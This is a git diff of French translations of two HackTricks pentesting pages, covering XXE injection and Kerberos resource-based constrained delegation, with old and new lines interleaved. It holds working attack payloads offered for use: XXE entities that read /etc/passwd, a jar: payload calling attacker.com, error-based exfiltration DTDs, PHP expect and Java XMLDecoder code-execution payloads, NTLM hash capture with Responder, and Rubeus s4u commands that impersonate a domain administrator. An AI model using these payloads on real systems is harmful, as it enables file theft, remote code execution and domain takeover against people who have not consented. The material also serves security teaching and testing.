De plus, si vous avez **l'image Docker du système victime**, vous pouvez utiliser l'outil du même dépôt pour **analyser** l'**image** et **trouver** le chemin des **DTD** présents à l'intérieur du système. Lisez le [Readme du GitHub](https://github.com/GoSecure/dtd-finder) pour apprendre comment faire.
|
||||
De plus, si vous avez **l'image Docker du système victime**, vous pouvez utiliser l'outil du même dépôt pour **analyser** l'**image** et **trouver** le chemin des **DTD** présents dans le système. Lisez le [Readme du github](https://github.com/GoSecure/dtd-finder) pour apprendre comment faire.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
|
@ -225,7 +231,7 @@ Testing 0 entities : []
|
|||
|
||||
Pour une explication plus approfondie de cette attaque, **consultez la deuxième section de** [**cet article incroyable**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **de Detectify**.
|
||||
|
||||
La capacité de **charger des documents Microsoft Office est proposée par de nombreuses applications web**, qui procèdent ensuite à l'extraction de certaines informations de ces documents. Par exemple, une application web peut permettre aux utilisateurs d'importer des données en téléchargeant une feuille de calcul au format XLSX. Afin que l'analyseur puisse extraire les données de la feuille de calcul, il devra inévitablement analyser au moins un fichier XML.
|
||||
La capacité de **télécharger des documents Microsoft Office est proposée par de nombreuses applications web**, qui procèdent ensuite à l'extraction de certaines informations de ces documents. Par exemple, une application web peut permettre aux utilisateurs d'importer des données en téléchargeant une feuille de calcul au format XLSX. Afin que l'analyseur puisse extraire les données de la feuille de calcul, il devra inévitablement analyser au moins un fichier XML.
|
||||
|
||||
Pour tester cette vulnérabilité, il est nécessaire de créer un **fichier Microsoft Office contenant une charge utile XXE**. La première étape consiste à créer un répertoire vide dans lequel le document peut être décompressé.
|
||||
|
||||
|
@ -233,11 +239,11 @@ Une fois le document décompressé, le fichier XML situé à `./unzipped/word/do
|
|||
|
||||
Les lignes XML modifiées doivent être insérées entre les deux objets XML racine. Il est important de remplacer l'URL par une URL pouvant être surveillée pour les requêtes.
|
||||
|
||||
Enfin, le fichier peut être compressé pour créer le fichier malveillant poc.docx. À partir du répertoire "unzipped" précédemment créé, la commande suivante doit être exécutée :
|
||||
Enfin, le fichier peut être compressé pour créer le fichier malveillant poc.docx. À partir du répertoire "décompressé" précédemment créé, la commande suivante doit être exécutée :
|
||||
|
||||
Maintenant, le fichier créé peut être téléchargé vers l'application web potentiellement vulnérable, et on peut espérer qu'une requête apparaisse dans les journaux de collaboration de Burp.
|
||||
Maintenant, le fichier créé peut être téléchargé vers l'application web potentiellement vulnérable, et on peut espérer qu'une requête apparaisse dans les journaux de Burp Collaborator.
|
||||
|
||||
### Protocole Jar
|
||||
### Jar: protocol
|
||||
|
||||
Le protocole **jar** est accessible exclusivement au sein des **applications Java**. Il est conçu pour permettre l'accès aux fichiers dans une archive **PKZIP** (par exemple, `.zip`, `.jar`, etc.), prenant en charge à la fois les fichiers locaux et distants.
|
||||
```
|
||||
|
@ -248,7 +254,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
|||
Pour pouvoir accéder aux fichiers à l'intérieur des fichiers PKZIP est **très utile pour abuser des XXE via les fichiers DTD système.** Consultez [cette section pour apprendre comment abuser des fichiers DTD système](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
{% endhint %}
|
||||
|
||||
Le processus permettant d'accéder à un fichier dans une archive PKZIP via le protocole jar implique plusieurs étapes :
|
||||
Le processus permettant d'accéder à un fichier à l'intérieur d'une archive PKZIP via le protocole jar implique plusieurs étapes :
|
||||
|
||||
1. Une requête HTTP est effectuée pour télécharger l'archive zip à partir d'un emplacement spécifié, tel que `https://download.website.com/archive.zip`.
|
||||
2. La réponse HTTP contenant l'archive est temporairement stockée sur le système, généralement dans un emplacement comme `/tmp/...`.
|
||||
|
@ -256,7 +262,7 @@ Le processus permettant d'accéder à un fichier dans une archive PKZIP via le p
|
|||
4. Le fichier spécifique à l'intérieur de l'archive, `file.zip`, est lu.
|
||||
5. Après l'opération, tous les fichiers temporaires créés pendant ce processus sont supprimés.
|
||||
|
||||
Une technique intéressante pour interrompre ce processus à la deuxième étape consiste à maintenir la connexion serveur ouverte indéfiniment lors de la fourniture du fichier d'archive. Des outils disponibles dans [ce dépôt](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) peuvent être utilisés à cette fin, notamment un serveur Python (`slow_http_server.py`) et un serveur Java (`slowserver.jar`).
|
||||
Une technique intéressante pour interrompre ce processus à la deuxième étape consiste à maintenir la connexion serveur ouverte indéfiniment lors de la fourniture du fichier d'archive. Des outils disponibles dans [ce dépôt](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution) peuvent être utilisés à cette fin, y compris un serveur Python (`slow_http_server.py`) et un serveur Java (`slowserver.jar`).
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
|
@ -300,7 +306,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
|||
|
||||
#### Obtenir NTML
|
||||
|
||||
Sur les hôtes Windows, il est possible d'obtenir le hachage NTML de l'utilisateur du serveur web en configurant un gestionnaire responder.py:
|
||||
Sur les hôtes Windows, il est possible d'obtenir le hachage NTML de l'utilisateur du serveur web en définissant un gestionnaire responder.py:
|
||||
```bash
|
||||
Responder.py -I eth0 -v
|
||||
```
|
||||
|
@ -320,15 +326,15 @@ Pour exécuter une attaque `XInclude`, l'espace de noms `XInclude` doit être d
|
|||
```xml
|
||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||
```
|
||||
Consultez [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) pour plus d'informations!
|
||||
Consultez [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) pour plus d'informations !
|
||||
|
||||
### SVG - Téléchargement de fichiers
|
||||
|
||||
Les fichiers téléchargés par les utilisateurs vers certaines applications, qui sont ensuite traités sur le serveur, peuvent exploiter des vulnérabilités dans la manière dont les fichiers XML ou contenant du XML sont gérés. Des formats de fichiers courants tels que les documents de bureau (DOCX) et les images (SVG) sont basés sur XML.
|
||||
Les fichiers téléchargés par les utilisateurs vers certaines applications, qui sont ensuite traités sur le serveur, peuvent exploiter des vulnérabilités dans la manière dont les formats de fichiers XML ou contenant du XML sont gérés. Des formats de fichiers courants tels que les documents de bureau (DOCX) et les images (SVG) sont basés sur XML.
|
||||
|
||||
Lorsque les utilisateurs **téléchargent des images**, ces images sont traitées ou validées côté serveur. Même pour les applications s'attendant à des formats tels que PNG ou JPEG, **la bibliothèque de traitement d'images du serveur peut également prendre en charge les images SVG**. SVG, étant un format basé sur XML, peut être exploité par des attaquants pour soumettre des images SVG malveillantes, exposant ainsi le serveur à des vulnérabilités XXE (XML External Entity).
|
||||
Lorsque les utilisateurs **téléchargent des images**, ces images sont traitées ou validées côté serveur. Même pour les applications qui s'attendent à des formats tels que PNG ou JPEG, **la bibliothèque de traitement d'images du serveur peut également prendre en charge les images SVG**. SVG, étant un format basé sur XML, peut être exploité par des attaquants pour soumettre des images SVG malveillantes, exposant ainsi le serveur à des vulnérabilités XXE (XML External Entity).
|
||||
|
||||
Un exemple d'une telle exploitation est présenté ci-dessous, où une image SVG malveillante tente de lire des fichiers système:
|
||||
Un exemple d'une telle exploitation est présenté ci-dessous, où une image SVG malveillante tente de lire des fichiers système :
|
||||
```xml
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||
```
|
||||
|
@ -346,7 +352,7 @@ Consultez [https://portswigger.net/web-security/xxe](https://portswigger.net/web
|
|||
|
||||
### **PDF - Téléchargement de fichiers**
|
||||
|
||||
Lisez le post suivant pour **apprendre à exploiter une XXE en téléchargeant un fichier PDF** :
|
||||
Lisez le post suivant pour **apprendre à exploiter un XXE en téléchargeant un fichier PDF** :
|
||||
|
||||
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
|
||||
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||
|
@ -354,7 +360,7 @@ Lisez le post suivant pour **apprendre à exploiter une XXE en téléchargeant u
|
|||
|
||||
### Content-Type: De x-www-urlencoded à XML
|
||||
|
||||
Si une requête POST accepte les données au format XML, vous pourriez essayer d'exploiter une XXE dans cette requête. Par exemple, si une requête normale contient ce qui suit :
|
||||
Si une requête POST accepte les données au format XML, vous pourriez essayer d'exploiter un XXE dans cette requête. Par exemple, si une requête normale contient ce qui suit :
|
||||
```xml
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -372,7 +378,7 @@ Content-Length: 52
|
|||
```
|
||||
### Content-Type: De JSON à XEE
|
||||
|
||||
Pour modifier la requête, vous pourriez utiliser une extension Burp nommée "**Content Type Converter**". [Ici](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) vous pouvez trouver cet exemple:
|
||||
Pour modifier la requête, vous pouvez utiliser une extension Burp nommée "**Content Type Converter**". [Ici](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) vous pouvez trouver cet exemple:
|
||||
```xml
|
||||
Content-Type: application/json;charset=UTF-8
|
||||
|
||||
|
@ -434,7 +440,7 @@ Si le site web utilise Java, vous pouvez vérifier le [**protocole jar**](xxe-xe
|
|||
|
||||
Astuce de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Vous pouvez créer une **entité à l'intérieur d'une entité** en l'encodant avec des **entités html** puis l'appeler pour **charger un dtd**.\
|
||||
Notez que les **entités HTML** utilisées doivent être **numériques** (comme \[dans cet exemple]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
|
||||
Notez que les **Entités HTML** utilisées doivent être **numériques** (comme \[dans cet exemple]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
<data>
|
||||
|
@ -462,7 +468,7 @@ Exemple de DTD :
|
|||
```
|
||||
### Exécution de code à distance
|
||||
|
||||
**Si le module PHP "expect" est chargé**
|
||||
**Si le module "expect" de PHP est chargé**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<!DOCTYPE foo [ <!ELEMENT foo ANY >
|
||||
|
@ -514,7 +520,7 @@ Content-Type: application/x-xliff+xml
|
|||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Cela révèle que l'Agent utilisateur indique l'utilisation de Java 1.8. Une limitation notée avec cette version de Java est l'incapacité de récupérer des fichiers contenant un caractère de nouvelle ligne, tel que /etc/passwd, en utilisant la technique Out of Band.
|
||||
Cet approche révèle que l'Agent utilisateur indique l'utilisation de Java 1.8. Une limitation notée avec cette version de Java est l'incapacité de récupérer des fichiers contenant un caractère de nouvelle ligne, tel que /etc/passwd, en utilisant la technique Out of Band.
|
||||
|
||||
Exfiltration de données basée sur les erreurs Pour surmonter cette limitation, une approche basée sur les erreurs est utilisée. Le fichier DTD est structuré comme suit pour déclencher une erreur qui inclut des données d'un fichier cible:
|
||||
```xml
|
||||
|
@ -523,7 +529,7 @@ Exfiltration de données basée sur les erreurs Pour surmonter cette limitation,
|
|||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Le serveur répond avec une erreur, indiquant de manière importante que le fichier spécifié n'existe pas, ce qui indique que le serveur tente d'accéder au fichier spécifié:
|
||||
Le serveur répond avec une erreur, indiquant de manière importante que le fichier spécifié n'existe pas, ce qui indique que le serveur tente d'accéder au fichier spécifié :
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
|
@ -534,7 +540,7 @@ Pour inclure le contenu du fichier dans le message d'erreur, le fichier DTD est
|
|||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Cette modification conduit à l'exfiltration réussie du contenu du fichier, comme le reflète la sortie d'erreur envoyée via HTTP. Cela indique une attaque XXE (Entité Externe XML) réussie, exploitant à la fois des techniques Out of Band et Error-Based pour extraire des informations sensibles.
|
||||
Cette modification conduit à l'exfiltration réussie du contenu du fichier, comme le reflète la sortie d'erreur envoyée via HTTP. Cela indique une attaque XXE (XML External Entity) réussie, exploitant à la fois des techniques Out of Band et Error-Based pour extraire des informations sensibles.
|
||||
|
||||
## RSS - XEE
|
||||
|
||||
|
@ -586,7 +592,7 @@ Requête HTTP simple vers le serveur des attaquants
|
|||
```
|
||||
### Lire le code source
|
||||
|
||||
En utilisant le filtre base64 PHP
|
||||
Utilisation du filtre base64 PHP
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -609,7 +615,7 @@ En utilisant le filtre base64 PHP
|
|||
```
|
||||
## Java XMLDecoder XEE to RCE
|
||||
|
||||
XMLDecoder est une classe Java qui crée des objets basés sur un message XML. Si un utilisateur malveillant parvient à amener une application à utiliser des données arbitraires dans un appel à la méthode **readObject**, il obtiendra instantanément l'exécution de code sur le serveur.
|
||||
XMLDecoder est une classe Java qui crée des objets basés sur un message XML. Si un utilisateur malveillant peut amener une application à utiliser des données arbitraires dans un appel à la méthode **readObject**, il obtiendra instantanément l'exécution de code sur le serveur.
|
||||
|
||||
### Utilisation de Runtime().exec()
|
||||
```xml
|
||||
|
@ -643,7 +649,7 @@ XMLDecoder est une classe Java qui crée des objets basés sur un message XML. S
|
|||
```
|
||||
### ProcessBuilder
|
||||
|
||||
Le `ProcessBuilder` est une classe Java qui est utilisée pour créer des processus fils.
|
||||
### ProcessBuilder
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<java version="1.7.0_21" class="java.beans.XMLDecoder">
|
||||
|
@ -681,23 +687,27 @@ Le `ProcessBuilder` est une classe Java qui est utilisée pour créer des proces
|
|||
|
||||
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
|
||||
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
|
||||
* Extraire des informations via HTTP en utilisant sa propre DTD externe : [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
||||
* Extraire des informations via HTTP en utilisant son propre DTD externe : [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
|
||||
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
|
||||
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
|
||||
* [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)\\
|
||||
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -14,20 +14,24 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Principes de base de la délégation restreinte basée sur les ressources
|
||||
|
||||
Cela est similaire à la [Délégation restreinte](constrained-delegation.md) de base mais **au lieu** de donner des autorisations à un **objet** pour **usurper l'identité de n'importe quel utilisateur pour un service**. La délégation restreinte basée sur les ressources **définit dans l'objet qui peut usurper l'identité de n'importe quel utilisateur pour lui**.
|
||||
Cela est similaire à la [délégation restreinte](constrained-delegation.md) de base mais **au lieu** de donner des autorisations à un **objet** pour **usurper l'identité de n'importe quel utilisateur contre un service**. La délégation restreinte basée sur les ressources **définit dans l'objet qui peut usurper l'identité de n'importe quel utilisateur contre lui**.
|
||||
|
||||
Dans ce cas, l'objet restreint aura un attribut appelé _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ avec le nom de l'utilisateur qui peut usurper l'identité de tout autre utilisateur pour lui.
|
||||
Dans ce cas, l'objet restreint aura un attribut appelé _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ avec le nom de l'utilisateur qui peut usurper l'identité de tout autre utilisateur contre lui.
|
||||
|
||||
Une autre différence importante de cette délégation restreinte par rapport aux autres délégations est que tout utilisateur avec des **permissions d'écriture sur un compte machine** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) peut définir le _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (Dans les autres formes de délégation, vous aviez besoin de privilèges d'administrateur de domaine).
|
||||
Une autre différence importante de cette délégation restreinte par rapport aux autres délégations est que tout utilisateur avec des **autorisations d'écriture sur un compte machine** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) peut définir le _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ (Dans les autres formes de délégation, vous aviez besoin de privilèges d'administrateur de domaine).
|
||||
|
||||
### Nouveaux concepts
|
||||
|
||||
Dans la délégation restreinte, il a été dit que le drapeau **`TrustedToAuthForDelegation`** à l'intérieur de la valeur _userAccountControl_ de l'utilisateur est nécessaire pour effectuer un **S4U2Self**. Mais ce n'est pas tout à fait vrai.\
|
||||
La réalité est que même sans cette valeur, vous pouvez effectuer un **S4U2Self** contre n'importe quel utilisateur si vous êtes un **service** (avez un SPN) mais, si vous **avez `TrustedToAuthForDelegation`**, le TGS retourné sera **Transmissible** et si vous **ne l'avez pas**, le TGS retourné ne sera pas **Transmissible**.
|
||||
|
||||
Cependant, si le **TGS** utilisé dans **S4U2Proxy** n'est **pas Transmissible** en essayant d'exploiter une **délégation restreinte de base**, cela **ne fonctionnera pas**. Mais si vous essayez d'exploiter une **délégation restreinte basée sur les ressources, cela fonctionnera** (ce n'est pas une vulnérabilité, c'est une fonctionnalité, apparemment).
|
||||
Cependant, si le **TGS** utilisé dans **S4U2Proxy** n'est pas **Transmissible** en essayant d'exploiter une **délégation restreinte de base**, cela **ne fonctionnera pas**. Mais si vous essayez d'exploiter une **délégation restreinte basée sur les ressources, cela fonctionnera** (ce n'est pas une vulnérabilité, c'est une fonctionnalité, apparemment).
|
||||
|
||||
### Structure de l'attaque
|
||||
|
||||
|
@ -38,12 +42,12 @@ Supposons que l'attaquant a déjà des **privilèges équivalents en écriture s
|
|||
1. L'attaquant **compromet** un compte qui a un **SPN** ou **en crée un** ("Service A"). Notez que **n'importe quel** _Utilisateur Administrateur_ sans aucun autre privilège spécial peut **créer** jusqu'à 10 **objets Ordinateur (**_**MachineAccountQuota**_**)** et leur attribuer un **SPN**. Ainsi, l'attaquant peut simplement créer un objet Ordinateur et attribuer un SPN.
|
||||
2. L'attaquant **abuse de son privilège d'ÉCRITURE** sur l'ordinateur victime (ServiceB) pour configurer une **délégation restreinte basée sur les ressources pour permettre à ServiceA d'usurper l'identité de n'importe quel utilisateur** contre cet ordinateur victime (ServiceB).
|
||||
3. L'attaquant utilise Rubeus pour effectuer une **attaque S4U complète** (S4U2Self et S4U2Proxy) de Service A à Service B pour un utilisateur **avec un accès privilégié à Service B**.
|
||||
1. S4U2Self (à partir du compte compromis/créé avec le SPN) : Demande un **TGS de l'Administrateur pour moi** (Non Transmissible).
|
||||
1. S4U2Self (à partir du compte compromis/créé avec SPN) : Demande un **TGS de l'Administrateur pour moi** (Non Transmissible).
|
||||
2. S4U2Proxy : Utilise le **TGS non Transmissible** de l'étape précédente pour demander un **TGS** de l'**Administrateur** à l'**hôte victime**.
|
||||
3. Même si vous utilisez un TGS non Transmissible, comme vous exploitez une délégation restreinte basée sur les ressources, cela fonctionnera.
|
||||
4. L'attaquant peut **transmettre le ticket** et **usurper** l'utilisateur pour obtenir **accès au ServiceB victime**.
|
||||
|
||||
Pour vérifier le _**MachineAccountQuota**_ du domaine, vous pouvez utiliser:
|
||||
Pour vérifier le _**MachineAccountQuota**_ du domaine, vous pouvez utiliser :
|
||||
```powershell
|
||||
Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota
|
||||
```
|
||||
|
@ -61,7 +65,7 @@ Get-DomainComputer SERVICEA
|
|||
```
|
||||
### Configuration de la **délégation contrainte basée sur les ressources**
|
||||
|
||||
**Utilisation du module PowerShell activedirectory**
|
||||
**À l'aide du module PowerShell activedirectory**
|
||||
```powershell
|
||||
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges
|
||||
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked
|
||||
|
@ -92,7 +96,7 @@ Maintenant, l'attaque peut être effectuée :
|
|||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt
|
||||
```
|
||||
Vous pouvez générer plus de tickets en demandant une seule fois en utilisant le paramètre `/altservice` de Rubeus :
|
||||
Vous pouvez générer plus de tickets en ne demandant qu'une seule fois en utilisant le paramètre `/altservice` de Rubeus :
|
||||
```bash
|
||||
rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt
|
||||
```
|
||||
|
@ -128,16 +132,20 @@ Apprenez-en plus sur les [**tickets de service disponibles ici**](silver-ticket.
|
|||
* [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
|
||||
* [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez** 💬 le **groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue